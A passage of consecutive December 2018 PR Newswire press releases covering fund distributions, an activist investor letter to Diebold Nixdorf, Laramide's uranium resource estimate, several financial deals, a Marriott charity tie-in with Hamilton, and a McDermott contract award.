Plan, the Fund makes fixed monthly distributions in the amount of $0.0975 per share, which will continue to be paid monthly until further notice. If you have questions or need additional information, please contact your financial professional or call the John Hancock Investments Closed-End Fund Information Line at 1-800-843-0090, Monday through Friday between 8:00 a.m. and 7:00 p.m., Eastern Time. Statements in this press release that are not historical facts are forward-looking statements as defined by the United States securities laws. You should exercise caution in interpreting and relying on forward-looking statements because they are subject to uncertainties and other factors which are, in some cases, beyond the Fund's control and could cause actual results to differ materially from those set forth in the forward-looking statements. An investor should consider a Fund's investment objectives, risks, charges and expenses carefully before investing. About John Hancock Investments John Hancock has helped individuals and institutions build and protect wealth since 1862. Today, we're one of the strongest and most-recognized financial brands. We serve investors globally through a unique multimanager approach: We search the world to find proven portfolio teams with specialized expertise for every strategy we offer, then we apply robust investment oversight to ensure they continue to meet our uncompromising standards and serve the best interests of our shareholders. Our approach to asset management has led to a diverse set of investments deeply rooted in investor needs, along with strong risk-adjusted returns across asset classes. About John Hancock Financial and Manulife Financial John Hancock is a division of Manulife Financial Corporation, a leading international financial services group that helps people achieve their dreams and aspirations by putting customers' needs first and providing the right advice and solutions. We operate primarily as John Hancock in the United States and as Manulife elsewhere. We provide financial advice, insurance, and wealth and asset management solutions for individuals, groups, and institutions. Assets under management and administration by Manulife and its subsidiaries were over CAD$1.1 trillion (US$849 billion) as of June 30, 2018. Manulife Financial Corporation trades as MFC on the TSX, NYSE, and PSE, and under 945 on the SEHK. Manulife can be found at manulife.com. One of the largest life insurers in the United States, John Hancock supports approximately 10 million Americans with a broad range of financial products, including life insurance, annuities, investments, 401(k) plans, and education savings plans. Additional information about John Hancock may be found at johnhancock.com. 1 The Fund's current fiscal year began on November 1, 2018, and will end on October 31, 2019. SOURCE John Hancock Investments PRAGUE, Dec. 20, 2018 /PRNewswire/ -- Krupa Global Investments ("KGI"), one of the largest institutional shareholders of Diebold Nixdorf, is demanding answers from management of the Ohio-based financial and retail technology company in an open letter to management released on December 18, 2018. The letter is an update on an initial information demand issued on August 1, 2018 demanding specific information from management pursuant to Section 220 of Delaware General Corporation Law. Krupa Global Investments currently owns 862,948 shares of Diebold Nixdorf, equal to an approximately 1.1% of outstanding shares. The letter, in its entirety, can be found here: http://www.krupainvestments.com/content/uploads/2018/12/kgi_information-demand-to-the-management-of-diebold-nixdorf_18-12-2018.pdf In the letter, KGI draws attention to concerns about Diebold Nixdorf management's handling of the firm's integration of Wincor Nixdorf, product-line issues, debt levels, and executive compensation. KGI has stressed the need for a stronger turnaround plan than the current "DN Now" plan promoted by management. "We call on management to reassure investors that they have a concrete plan to integrate Wincor Nixdorf and in doing so cut costs, pay down debt and streamline product offerings. While the DN Now plan is a beginning, it fails to address our concerns concretely," said Pavol Krupa, Chairman of Krupa Global Investments. KGI also called attention to Diebold Nixdorf's executive compensation practices. Specifically, KGI contends that the share-based incentive compensation program is excessive and wholly undeserved due to the company's operational performance and its stock performance. According to Diebold Nixdorf's Q3 Earnings Report presentation, $7 Million in incentive compensation was distributed. During that same period, the stock price fell from $12.10 to $4.50 per share, a decline of over 60%. The company's 2018 incentive compensation budget is $35 Million. KGI notes that in the company's Q1 2018 earnings call, management announced it was suspending the company's shareholder dividend which had been maintained continuously for over 60 years in order to save approximately $30 Million annually. Mr. Krupa underscored this point and stressed the need for management to be held accountable for the company's performance. "Management is rewarding itself with undeserved incentive-based compensation but they, frankly, have done nothing to warrant such incentives. It is very unclear what incentives have been satisfied when Diebold Nixdorf stock has fallen over 60% in the third quarter of 2018 alone. It is irresponsible and undignified for management to cut the shareholder dividend while richly rewarding themselves. I would be embarrassed to do such a thing. Management must show solidarity with investors and cut incentive compensation entirely until performance and stock price improves significantly." Krupa Global Investments plans to meet with Alexander Roeper's Atlantic Investment Management, which owns approximately 5% of Diebold Nixdorf, as well as with other significant institutional shareholders to build consensus for its point of view . Additionally, KGI plans to liaise directly with management to put together a constructive resolution to its concerns. About Krupa Global Investments Krupa Global Investments, previously known as Arca Capital, is a private investment group with a focus on energy, real estate, retail and service activities, as well as regulated activities focused on building and managing fund structures focusing on energy, real estate and financial services. It is named after its founder and chairman, Pavol Krupa. The firm takes an activist approach, with the goal of remedying and eliminating management actions that have a negative impact on companies, and with the goal of achieving significant positive change in strategy, financial structure or management. The firm has fought and won many successful battles and in so doing has streamline companies and realize hundreds of millions in shareholder value. Krupa Global Investments currently has approximately $2 Billion in Assets Under Management. Contact for media: Barbora Hanakova, Spokesperson +420 776 575 096, [email protected] www.krupainvestments.com SOURCE Krupa Global Investments Related Links http://www.krupainvestments.com NEW YORK and LONDON, Dec. 20, 2018 /PRNewswire/ -- Kudu Investment Management, LLC ("Kudu"), a provider of capital solutions to the asset management and wealth management industries, today announced that it has agreed to take a passive minority stake in leading London-based alternative credit manager Fair Oaks Capital Ltd., and various affiliates ("Fair Oaks"). The award-winning Fair Oaks, which manages approximately $2.4 billion, specializes in collateralized loan obligations (CLOs), investing in both US and European CLOs as well as direct investment in bank loans. Terms of the agreement were not disclosed. Fair Oaks was founded in 2013 by veteran alternative credit managers Miguel Ramos Fuentenebro and Roger Coyle. The firm invests across the CLO capital structure, in equity and debt tranches with a focus on US and European credit. The firm also sponsors and manages CLOs. Fair Oaks was recently awarded Best Fixed Income Credit Strategy Fund 2018 by Hedgeweek, and Top Specialist Debt Fund 2018 by Citywire. In partnering with Kudu, Fair Oaks sought to diversify its capital base, while also enabling the founders to reinvest in their strategies thereby enhancing alignment with the firm's clients. "We are delighted to be partnering with Fair Oaks. The extremely talented and creative leadership team has built one of the most respected independent alternative credit managers in a relatively short amount of time," said Rob Jakacki, CEO of Kudu. "We are excited to support the firm's ongoing growth." As is customary in its minority investment partnerships, Kudu will have no role in ongoing operations of Fair Oaks but will offer strategic guidance and support as the firm expands its investment offerings and its network of investors. Fair Oaks represents Kudu's fourth investment in 2018 and its first partnership with a European manager. Mr. Ramos Fuentenebro added "Our partnership with Kudu allows Fair Oaks to further institutionalize our business and provides access to Kudu's insights regarding global growth opportunities, while preserving our valued independence. We anticipate that this strategic relationship with the Kudu team will strengthen Fair Oaks' ability to provide our investors with leading investment solutions across tradable credit and private debt. After exploring a range of potential options, we believe that Kudu is the ideal fit for Fair Oaks." The transaction is expected to close in Q1 2019, subject to receipt of regulatory approvals. Fair Oaks was advised by KPMG Corporate Finance, with legal representation by Travers Smith, LLP and Skadden, Arps Meagher & Flom, LLP. Kudu was represented by Seward & Kissel, LLP and Stephenson, Harwood, LLP. About Kudu Investment Management, LLC Kudu specializes in providing capital solutions including generational ownership transfers, management buyouts, acquisition and growth finance, as well as liquidity for legacy partners to asset managers and wealth managers. Kudu was launched in 2015 by Rob Jakacki, and Charlie Ruffel, and is backed by leading institutional investors including White Mountains Insurance Group, Ltd., (NYSE: WTM). For more information, please visit: https://www.kuduinvestment.com/ About Fair Oaks Capital, Ltd. Fair Oaks is an independent asset management and advisory firm with offices in London and New York. Fair Oaks seeks to generate attractive risk-adjusted returns in corporate credit markets, capitalizing on market inefficiencies and leveraging its in-depth research expertise across credit products, performance-driven approach and long-term alignment of interest with investors. Fair Oaks manages assets in excess of $2 billion (as at Q3 2018) across different product offerings, including private and listed funds, separately managed accounts and a UCITS fund. For more information, please visit: www.fairoakscap.com SOURCE Kudu Investment Management, LLC Related Links kuduinvestment.com Listed (TSX:LAM; ASX:LAM) TORONTO, Dec. 20, 2018 /PRNewswire/ - Laramide Resources Ltd. ("Laramide" or the "Company") is pleased to announce the results of its maiden independent Mineral Resource Estimate (the "Resource Estimate") prepared using the CIM Definitions (2014) as incorporated in NI 43-101 for the Company's 100% owned Crownpoint Uranium Project (the "Project" or "Crownpoint"), located in New Mexico, United States. The Resource Estimate was completed by Roscoe Postle and Associates Inc. ("RPA") in Denver, USA with the assistance of Laramide's technical team. The Resource Estimate also satisfies the requirements of the 2012 JORC code. The Technical Report pertaining to the Resource Estimate will be filed on Sedar (www.sedar.com) within 45 days. The Resource Estimate supersedes various "historical estimates" for purposes of NI 43-101 reporting (see press release dated October 10, 2018) and considers planned In Situ Recovery ("ISR") of uranium consolidating the significant work completed by previous operators on the Project. Highlights include: An Inferred Resource Estimate of 2.5 million tons at an average grade of 0.102% eU 3 O 8 for a contained resource of 5.1 million pounds U 3 O 8 using a 0.5 ft-% U 3 O 8 Grade Thickness (GT) cutoff. at an average grade of for a contained resource of U O using a 0.5 ft-% U O Grade Thickness (GT) cutoff. Data from previous operators was consolidated and digitized resulting in a database of 305 drill holes totaling 648,702 feet of drilling. The report highlighted areas where wide-space drilling did not support a current resource estimate using the CIM Definitions (2014), but have been flagged for immediate follow up to potentially allow further expansion of the resource. The Resource Estimate expands on the Company's New Mexico uranium resources including the 50.8 million pounds U 3 O 8 of Inferred Resource estimated for the Church Rock Project (see Press Releases October 10, 2017 and November 22, 2017). Importantly, both of the Resource Estimates fall under the Company's NRC license which is the identified location for the 3 million lb U 3 O 8 per annum Central Processing Plant (CPP) under the permit. Marc Henderson, Laramide Resources Ltd.'s President and Chief Executive Officer, commented, "The Crownpoint Resource is an important piece in the development of our New Mexico uranium portfolio. With this information now in hand the Company can look towards developing a preliminary economic assessment (PEA) of the combined Church Rock and Crownpoint Deposits." Mineral Resource Estimate The Crownpoint Resource Estimate was completed utilizing the Grade x Thickness (GT) Contour Method, an industry standard for estimating uranium roll-front type deposits hosted within groundwater-saturated sandstones. The mineralization at Crownpoint has been previously shown to be amenable to ISR techniques. The Resource Estimate is comprised of the following properties and ownership: Section 9, T17N-R13W: The Section 9 property (~160 acres) consists of nine unpatented Lode Mining Claims of which Laramide owns 100%. Section 24, T17N-R13W: The Section 24 property (S = ~320 acres) consists of 12 unpatented mining claims (Consol 1, 2; CP 10-19), of which Laramide owns 100%, and a 40% interest in the remainder of the property held by private mineral ownership. Section 25, T17N-R13W: The Section 25 property (~135 acres) consists of eight unpatented mining claims (Hydro 1-8) of which Laramide owns 100%. The following table summarizes the Mineral Resource Estimate by Sand Unit and by Section. Due to the historical nature of the data the resource estimate is classified as Inferred, until additional new confirmation data can be obtained: Table -1 Mineral Resource Estimate by Sand Unit November 16, 2018 Laramide Resources Ltd. Crownpoint Deposit Total Resource Laramide Controlled Resource Classification Sand Unit Tonnage Grade Contained Metal Tonnage Grade Contained Metal % Controlled (000 Tons) (% eU 3 O 8 ) (000 lbs U 3 O 8 ) (000 Tons) (% eU 3 O 8 ) (000 lbs U 3 O 8 ) Inferred Jmw A Sand 436 0.091 797 416 0.091 753 94.4% Jmw B Sand 907 0.099 1,802 655 0.099 1,300 72.1% Jmw C Sand 444 0.088 784 250 0.092 458 58.4% Jmw D Sand 179 0.114 408 115 0.108 249 61.0% Jmw E Sand 2,198 0.114 5,006 1,061 0.109 2,320 46.3% Total Inferred 4,163 0.106 8,798 2,497 0.102 5,079 57.7% Table -2 Mineral Resource Estimate by Section November 16, 2018 Laramide Resources Ltd. Crownpoint Deposit Total Resource Laramide Controlled Resource Classification Section Tonnage Grade Contained Metal Tonnage Grade Contained Metal % Controlled T17N, R13W (000 Tons) (% eU 3 O 8 ) (000 lbs U 3 O 8 ) (000s Tons) (% eU 3 O 8 ) (000s lbs U 3 O 8 ) Inferred NW Section 9 675 0.096 1,293 675 0.096 1,293 100.0% S Section 24 3,466 0.108 7,468 1,800 0.104 3,749 50.2% NE Section 25 23 0.076 35 23 0.076 35 100.0% Total Inferred 4,163 0.106 8,798 2,497 0.102 5,079 57.7% Notes for Tables 1 and 2: 1. CIM (2014) definitions were followed for Mineral Resources. 2. Mineral Resources are reported at a GT cut-off of 0.5 ft-% eU 3 O 8 . 3. A minimum thickness of 2.0 ft was used. 4. A minimum cut-off grade of 0.03% eU 3 O 8 is based on historic mining costs and parameters from the district was used. 5. Internal maximum dilution of 5.0 ft was used. 6. Grade values have not been adjusted for disequilibrium. 7. Tonnage factor of 15 ft3/ton is based on the tonnage factor historically used by the mining operators in the area. 8. Mineralized areas defined by isolatedor widely spaced drill holes, or located within the area previously subject to pastproduction, were excluded from the estimate. 9. Numbers may not add due to rounding. Next Steps With the completion of the Resource Estimate, the combined Church Rock and Crownpoint Project will be advanced to a PEA. This will be the first economic study on the consolidated Project, and which would include the elimination of certain royalties owned by Laramide (including the up to 25% gross) on portions of the Project. To complete the New Mexico Environmental Department Groundwater Discharge Plan permit requirements, the Company must demonstrate, in a laboratory environment, the ability, post leaching, to restore groundwater in the mining aquifer to an acceptable level. In order to complete this leach study fresh core is required from the Project. The Company plans to complete this core drilling and begin the leach-restoration testing in early 2019. Exploration is also planned for areas noted in the Technical Report where wide-spaced drilling previously defined potential mineralization. This drilling, in conjunction with the core studies, may lead to areas of the present Inferred Mineral Resource to be upgraded to Measured and Indicated Resources, and the potential discovery of additional mineral resources. Qualified Person The Mineral Resource estimate for Crownpoint was prepared in accordance with standards as defined by the Canadian Institute of Mining, Metallurgy and Petroleum ("CIM") "CIM Definition Standards-For Mineral Resources and Mineral Reserves", adopted by CIM Council on May 10, 2014. The Mineral Resource estimate for Crownpoint was prepared by Mark Mathisen, C.P.G., a Principal Geologist at Roscoe Postle Associates Inc. Mr. Mathisen is the Competent Person for the related Mineral Resource and is a Member of the American Institute of Professional Geologists (CPG-11648), a 'Recognized Professional Organization' (RPO) included in a list that is posted on the ASX website from time to time. Mr. Mathisen has sufficient experience which is relevant to the style of mineralization and type of deposit under consideration and to the activity being undertaken to qualify as a Competent Person as defined in the 2012 Edition of the 'Australasian Code for Reporting of Exploration Results, Mineral Resources and Ore Reserves'. Mr. Mathisen is independent of the Company at the time of the mineral resource estimate. He is a Qualified Person as defined by Canadian National Instrument 43-101 and has reviewed and approved the technical disclosure of the Mineral Resources contained in this news release. The technical information in this news release has been prepared in accordance with the Canadian regulatory requirements set out in NI 43-101. The information has been reviewed and approved by Bryn Jones, MMinEng, FAusIMM, a Qualified Person under the definition established by National Instrument 43-101 and JORC. Mr. Jones is the Chief Operating Officer of the Company and a Fellow of the Australasian Institute of Mining and Metallurgy. The Mineral Resource Estimate was prepared by Mark Mathisen, C.P.G., of Roscoe, Postle and Associates Inc. RPA in Denver, USA, with the assistance of Laramide's technical team. Mark Mathisen, who is an Independent Qualified Person ("QP"), as defined by National Instrument 43-101, has reviewed and approved the technical contents of this news release. To learn more about Laramide, please visit the Company's website at www.laramide.com. About Laramide Resources: Laramide is a Canadian-based company with diversified uranium assets strategically positioned in the United States and Australia that have been chosen for their low-cost production potential. Laramide's recently acquired Church Rock and Crownpoint properties form a leading In-Situ Recovery (ISR) division that benefits from significant mineral resources and near-term development potential. Additional U.S. assets include La Jara Mesa in Grants, New Mexico, and La Sal in the Lisbon Valley district of Utah. The Company's Australian advanced stage Westmoreland is one of the largest uranium projects currently held by a junior mining company. Laramide is listed on the TSX: LAM and ASX: LAM. Forward-looking Statements and Cautionary Language This News Release contains forward looking statements which are subject to a variety of risks and uncertainties which could cause actual events or results to differ materially from those reflected in the forward looking statements. The Company does not intend to update this information and disclaims any legal liability to the contrary. SOURCE Laramide Resources Ltd. Related Links http://www.laramide.com MILWAUKEE, Dec. 20, 2018 /PRNewswire/ -- On May 15th, Armstrong & Associates in partnership with the Global Supply Chain Council is hosting the fourth annual 3PL Value Creation Asia Summit in Hong Kong. This year's event analyzes the most important global third-party logistics industry trends (such as the impact of tariffs, regional supply chain shifts, mergers and acquisitions, and e-commerce logistics) in an interactive and fully engaged way. Network with industry experts and peers that successfully navigate the unique daily complexities of the global 3PL industry. With its focus on executive panels to share information, the 3PL Value Creation Asia Summit is unique amongst conferences. As such, this one event represents an outstanding deep-dive into the operational, financial, and technological aspects of the global 3PL industry. The 3PL Value Creation Asia Summit is your chance to gain insights and position your company for cutting edge initiatives that allow you to enhance your customers' supply chain flexibility and agility, while boosting the bottom line. It provides an unparalleled opportunity to network, learn and share ideas for driving 3PL growth globally and throughout Asia. The 3PL Value Creation Asia Summit will be held May 15th, 2019 at the KPMG Conference Center in Hong Kong. For further event details or to register, please visit www.3plogistics.com/3PLASIA2019. ABOUT ARMSTRONG & ASSOCIATES, INC. Armstrong & Associates, Inc. (A&A) was established in 1980 to meet the needs of a newly deregulated domestic transportation market. Since then, through its leading Third-Party Logistics (3PL) market research and history of helping companies outsource logistics functions, A&A has become an internationally recognized key resource for 3PL market information and consulting. A&A's mission is to have leading proprietary supply chain knowledge and market research not available anywhere else. As proof of our continued work in supporting our mission, A&A's 3PL market research is frequently cited in media articles, publications, and securities filings by publicly traded 3PLs. In addition, A&A's email newsletter currently has over 62,000 subscribers globally. A&A's market research complements its consulting activities by providing continually updated data for analysis. Based upon its unsurpassed knowledge of the 3PL market and the operations of leading 3PLs, A&A has provided strategic planning consulting services to over 30 3PLs, supported 20 closed investment transactions, and provided advice to numerous companies looking to benchmark existing 3PL operations or outsource logistics functions. ABOUT GLOBAL SUPPLY CHAIN COUNCIL Founded in 2002, the Global Supply Chain Council (GSCC) is Asia's leading professional organization serving a fast-growing community of 130,000 executives and representing leading companies who view their supply chains as a critical driver of shareholder value and competitiveness. GSCC's mission is to stimulate the understanding and adoption of supply chain, logistics and procurement management by providing a membership program, information, research, events and activities among other services. Visit www.gscc.co for more information. SOURCE Armstrong & Associates, Inc. Related Links http://www.3PLogistics.com SAN FRANCISCO, Dec. 20, 2018 /PRNewswire/ -- Lilt, an interactive, adaptive machine translation system, today announced a partnership with In-Q-Tel, Inc. (IQT) to offer U.S. government agencies a high-quality solution for enterprise translation. IQT is the independent, not-for-profit strategic investor that identifies and accelerates the development and delivery of innovative technology solutions to support the missions of U.S. government agencies. Lilt's machine translation (MT) engine leverages a human-in-the-loop approach and machine learning to continuously learn in real-time from human feedbackthis enables enterprises to significantly increase translation speed and quality without spiking costs. Augmenting the work of human translators with Lilt's adaptive MT solution allows all types of businesses to localize materials into foreign languages and accomplish strategic objectives. The Company's carefully vetted translators contribute to the system's continuous improvement and are chosen for their domain expertise and ability to localize with sensitivity to cultural nuance. Using Lilt's MT engine, they are able to translate at nearly five times their normal speed while maintaining the same level of quality and accuracy. "Lilt takes a novel approach to translation by combining human skills and machine learning so that text can be translated faster and with superior quality," said A.J. Bertone, Principal, Investments at IQT. "With this partnership, we look forward to providing government agencies with a world-class translation capability that will improve the flow of information across languages and amplify human translation resources." "IQT's support enables Lilt to better serve customers with the highest quality and latency requirements," said Spence Green, co-founder and CEO of Lilt. "Our mission is to make the world's information accessible to everyone, regardless of where they were born or what language they speak. Empowering our public institutions to send and receive mission-critical information across languages is a fundamental component of that mission." ABOUT LILT Lilt is a platform that equips businesses to optimize among speed, quality, and cost for large-scale localization projects. The core technology is an interactive, adaptive machine translation system that learns in real-time from human feedback and/or existing translation memory data. Adaptation allows the system to progressively provide better suggestions to human translators and higher quality for fully automatic translation. Modern companies like Zendesk, Snap, Hudson Bay Company, and Sprinklr use Lilt's technology to reach emerging markets all over the world. Headquartered in San Francisco, and with a growing office in Berlin, Lilt is backed by In-Q-Tel, Sequoia Capital, Redpoint Ventures, XSeed Capital and Zetta Venture Partners. For more, please visit www.lilt.com . SOURCE Lilt Related Links http://www.lilt.com LONDON and CHICAGO, Dec. 20, 2018 /PRNewswire/ -- Marex Spectron, one of the world's largest commodities brokers, today announced that it has signed an agreement to acquire the customer business of Rosenthal Collins Group LLC (RCG), a leading independent Futures Commission Merchant (FCM). With 95-years of history, Chicago-based RCG is a highly respected firm with a deserved reputation for excellent client service and strong relationships. The business has an extensive client base and deep introducing broker network, with particular expertise in CME Group grains and livestock. By acquiring the RCG FCM business, which is expected to complete in January 2019, Marex Spectron will maintain the RCG name and brand, gain 14,000 client accounts and balances, 150 associated staff and the Chicago headquarters. RCG has little overlap with Marex Spectron's existing North American business, which operates out of New York, Calgary, Connecticut and Houston. With Marex Spectron as the parent company, RCG clients will not only retain the excellent service model they currently enjoy, but will have access to new products and capabilities, including: A more extensive global exchange network of cleared exchanges via Marex Spectron's global network. Direct access to London Metal Exchange, where Marex Spectron is a leading Category One member. New proprietary technologies and tools, including Marex Spectron's NEON trading and risk platform. Marex Spectron's extensive agricultural, metals and energy research. Over-the-counter (OTC) hedging and investment products across all asset classes through Marex Solutions. Marex Spectron's larger balance sheet and investment grade rating. For Marex Spectron, acquiring RCG: Enhances Marex Spectron's business, with the addition of RCG's history, brand, expertise, large client base and extensive introducing broker network. Expands Marex Spectron's agriculture business, which is based in London and New York , and has historically been more focused on sugar, cocoa and coffee markets, with the addition of RCG's presence in grains and livestock. and , and has historically been more focused on sugar, cocoa and coffee markets, with the addition of RCG's presence in grains and livestock. Expands Marex Spectron's U.S. clearing offering to a broader client base. Accelerates the growth of Marex Spectron's North American business and provides a significant Chicago hub to support customers. Upon completion of the deal, Scott Gordon, RCG's Chairman and Chief Executive Officer, will become Vice Chairman of the new Marex Spectron RCG division, and Jason Manumaleuna, RCG's President and Chief Financial Officer, will be appointed Chief Executive Officer of the Marex Spectron RCG division. Ian Lowitt, Marex Spectron Chief Executive, commented: "Acquiring the RCG FCM business is an exciting development that adds a very strong FCM brand to our business mix, establishes a foothold for Marex Spectron in the critical Chicago marketplace, and elevates our U.S. clearing to the top tier. It is a great fit with our existing agricultural business and fast-growing Marex Solutions' customized hedging services." Scott Gordon added: "Joining forces with Marex Spectron creates tremendous value for RCG's clients and brokers. There is great chemistry between the two firms as we share similar philosophies and cultures. We will have access to new services and capabilities on a global scale with the outstanding products and infrastructure that will soon be integrated into our offering." Barclays is acting as exclusive financial advisor to RCG on the sale to Marex Spectron. Notes to Editors: About Marex Spectron Group Limited Marex Spectron is a leading global commodities brokerage, with significant market share of many major Agricultural, Metal and Energy products. Headquartered in London, Marex Spectron's extensive international network covers Europe, Asia and North America markets. State-of-the-art electronic and voice broking services facilitates all types of trading strategies. This is backed by decades of experience, with Marex Spectron placing great emphasis on intellectual knowledge and insight, alongside access to extensive data sets and the latest analytical tools. Clients are commodity producers and consumers, banks, hedge funds, asset managers, brokers, commodity trading advisors and professional traders. Global exchange memberships include, amongst others, the London Metal Exchange (LME), CME Group and ICE Group. Marex Spectron is regulated in the UK by the FCA, in the U.S. by the NFA and CFTC, in Hong Kong by the SFC, and in Singapore by the MAS. For more information visit www.marexspectron.com. About RCG RCG launched in 1923 and became Rosenthal Collins Group in 1988 with the merger of Rosenthal & Co. and Collins Commodities. (See timeline). Today Rosenthal Collins Group is one of the world's leading regulated Futures Commission Merchants (FCMs) offering trading execution, clearing, brokerage, institutional foreign exchange (FX), managed futures and a full range of electronic trading services. RCG has a wide range of institutional, commercial, professional and retail customers around the globe, as well as a large network of more than 150 introducing broker and correspondent brokerage relationships. RCG holds clearing memberships on all principal U.S. futures exchanges and has access to world futures markets through a network of correspondent relationships. Further information about Rosenthal Collins Group can be found at www.RCGdirect.com. SOURCE Marex Spectron; Rosenthal Collins Group Related Links http://www.RCGdirect.com BETHESDA, Md., Dec. 20, 2018 /PRNewswire/ -- Marriott International is teaming up with the musical Hamilton in Puerto Rico and creator Lin-Manuel Miranda to celebrate the island as an ideal destination for arts and culture. Through its partnership with Hamilton in Puerto Rico, Marriott International has guaranteed a minimum donation of $300,000 benefiting Miranda's Flamboyan Arts Fund, established by Miranda, his family and the production within the Flamboyan Foundation to help rebuild the arts and culture scene on the island following the impact of Hurricane Maria. Starting now through February 28th, Marriott will be donating $1 for every room booked at San Juan Marriott Resort & Stellaris Casino, Sheraton Puerto Rico Hotel & Casino, AC Hotel by Marriott San Juan Condado, St. Regis Bahia Beach Resort, and $10 for every room booked at Dorado Beach, a Ritz-Carlton Reserve. "We're excited that this collaboration with Lin-Manuel Miranda and Hamilton in Puerto Rico is putting a well-deserved spotlight on the island," said Diana Plazas, Vice President Owner and Franchise Relations & Brand, Marketing and Digital, Caribbean and Latin America, at Marriott International. Bringing Hamilton to Puerto Rico represents more to Miranda than a new tour stop. With both parents hailing from Puerto Rico, it is where Miranda spent many summers growing up, seeing firsthand the island's strong community of local artists. Together with his family and Hamilton, Miranda helped establish the Flamboyan Arts Fund to benefit from the musical's limited run and ensure the proliferation of Puerto Rico's arts community. Featuring Miranda in the title role, the Puerto Rico production of Hamilton in Puerto Rico will run from January 8-27, 2019 at Teatro UPR. Fewer than 2,000 kilometers off the coast of Florida, Puerto Rico offers travelers a multitude of inspiring, culturally-rich experiences. With white sandy beaches leading into clear, Caribbean waters, a dynamic culinary scene, and a vibrant arts community, Puerto Rico charms tourists of all ages looking for a wide variety of experiences. The island is easily accessible from the US with just a US passport. "Our properties across the island are beyond excited to show visitors everything Puerto Rico has to offer. From its beautiful beaches to its heritage and flourishing culture, the Isla del Encanto (the island of enchantment), is the perfect destination," adds Plazas. Donations will support the growth of the Flamboyan Arts Fund, whose goal is to support Puerto Rico-hosted institutions and arts groups including independent artists, musicians, and galleries to ensure that the rebuilding of Puerto Rico includes the nurturing of the island's vibrant arts and culture. "We're incredibly grateful for Marriott International's strong support of the arts community in Puerto Rico," said Carlos Rodriguez, Executive Director of the Flamboyan Foundation Puerto Rico office. "We hope visitors to the island can see that at the heart of Puerto Rican culture is a vibrant expression of humanity through the arts that they can enjoy and help sustain and amplify." Members of the Marriott Loyalty program will be able to bid on a Hamilton Puerto Rico experience on the Marriott Rewards Moments platform using their points. Marriott's loyalty programs offer members a holistic travel experience encompassing much more than hotel stays and have access to the wide collection of nearly 120,000 irresistible experiences in 1,000 global destinations on the company's ever-expanding Moments platform Marriott Moments, Marriott Rewards Moments and SPG Moments. The Marriott, Ritz-Carlton, and SPG loyalty programs were unified on August 18th under one program with unified benefits, creating an incredibly rich program in which members earn more points faster than under the prior programs. To book rooms at participating hotels in Puerto Rico ensuring the donation to Flamboyan, interested travelers should access Marriott.com. About Marriott International Marriott International, Inc. (NASDAQ: MAR) is the world's largest hotel company based in Bethesda, Maryland, USA, with more than 6,700 properties in 129 countries and territories. Marriott operates and franchises hotels and licenses vacation ownership resorts. The company's 30 leading brands include: Bulgari, The Ritz-Carlton and The Ritz-Carlton Reserve, St. Regis, W, EDITION, JW Marriott, The Luxury Collection, Marriott Hotels, Westin, Le Meridien, Renaissance Hotels, Sheraton, Delta Hotels by MarriottSM, Marriott Executive Apartments, Marriott Vacation Club, Autograph Collection Hotels, Tribute PortfolioTM, Design HotelsTM, Gaylord Hotels, Courtyard, Four Points by Sheraton, SpringHill Suites, Fairfield Inn & Suites, Residence Inn, TownePlace Suites, AC Hotels by Marriott, Aloft, Element, Moxy Hotels, and Protea Hotels by Marriott. The company also operates award-winning loyalty programs: Marriott Rewards, which includes The Ritz-Carlton Rewards, and Starwood Preferred Guest. For more information, please visit our website at www.marriott.com, and for the latest company news, visit www.marriottnewscenter.com and @MarriottIntl. SOURCE Marriott International, Inc. Related Links http://www.marriott.com HOUSTON, Dec. 20, 2018 /PRNewswire/ -- McDermott International, Inc. (NYSE: MDR) today announced that it has been awarded a sizeable* technology contract by HPCL Rajasthan Refinery Ltd. (HRRL) for the license and basic engineering design of two 490 KTA polypropylene plants in Pachpadra Tehsil, Barmer District, Rajasthan, India. The plants will use Lummus' proprietary NOVOLEN process reactors and proprietary NHP catalyst to produce a full range of leading polypropylene products for the Indian and regional markets. "This is the largest Novolen licensed polypropylene award to date, and the largest polypropylene plant in India," said Daniel M. McCarthy, Executive Vice President of McDermott's Lummus Technology business. "Our process includes a high degree of flexibility to adjust to market demand, and HRRL will enjoy the full benefits of economies of scale and technology capability for this world-scale plant." McDermott's Lummus Technology is a leading licensor of proprietary petrochemicals, refining, gasification and gas processing technologies, and a supplier of proprietary catalysts and related engineering. With a heritage spanning more than 100 years, encompassing approximately 3,100 patents and patent applications, Lummus Technology provides one of the industry's most diversified technology portfolios to the hydrocarbon processing sector. This award was reflected in McDermott's third quarter 2018 backlog. * McDermott defines a sizeable contract as between USD $1 million and USD $50 million. About McDermott McDermott is a premier, fully integrated provider of technology, engineering and construction solutions to the energy industry. For more than a century, customers have trusted McDermott to design and build end-to-end infrastructure and technology solutions to transport and transform oil and gas into the products the world needs today. Our proprietary technologies, integrated expertise and comprehensive solutions deliver certainty, innovation and added value to energy projects around the world. Customers rely on McDermott to deliver certainty to the most complex projects, from concept to commissioning. It is called the "One McDermott Way." Operating in over 54 countries, McDermott's locally focused and globally-integrated resources include approximately 40,000 employees, a diversified fleet of specialty marine construction vessels and fabrication facilities around the world. To learn more, visit www.mcdermott.com. Forward-Looking Statements In accordance with the Safe Harbor provisions of the Private Securities Litigation Reform Act of 1995, McDermott cautions that statements in this press release which are forward-looking, and provide other than historical information, involve risks, contingencies and uncertainties that may impact McDermott's actual results of operations. These forward-looking statements include, among other things, statements about the expected scope, execution and timing of the project discussed in this press release. Although we believe that the expectations reflected in those forward-looking statements are reasonable, we can give no assurance that those expectations will prove to have been correct. Those statements are made by using various underlying assumptions and are subject to numerous risks, contingencies and uncertainties, including, among others: adverse changes in the markets in which we operate or credit markets, our inability to successfully execute on contracts in backlog, changes in project design or schedules, the availability of qualified personnel, changes in the terms, scope or timing of contracts, contract cancellations, change orders and other modifications and actions by our customers and other business counterparties, changes in industry norms and adverse outcomes in legal or other dispute resolution proceedings. If one or more of these risks materialize, or if underlying assumptions prove incorrect, actual results may vary materially from those expected. For a more complete discussion of these and other risk factors, please see McDermott's annual and quarterly filings with the Securities and Exchange Commission, including its annual report on Form 10-K for the year ended December 31, 2017 and subsequent quarterly reports on Form 10-Q. This press release reflects management's views as of the date hereof. Except to the extent required by applicable law, McDermott undertakes no obligation to update or revise any forward-looking statement. Contacts: Investor Relations Scott Lamb Vice President, Investor Relations +1 832-513-1068 [email protected] Global Media Relations Gentry Brann Global Vice President, Communications +1 281-870-5269 [email protected] SOURCE McDermott International, Inc. Related Links http://www.mcdermott.com "I am excited to join the Movement Bank team," Rupp says. "The bank has a wonderful 100-year legacy of service to its customers and community. Working with the Movement team, we have the chance to care for our customers and communities, improving and innovating banking where we live and work." Rupp brings extensive experience to the role with a 30-year career 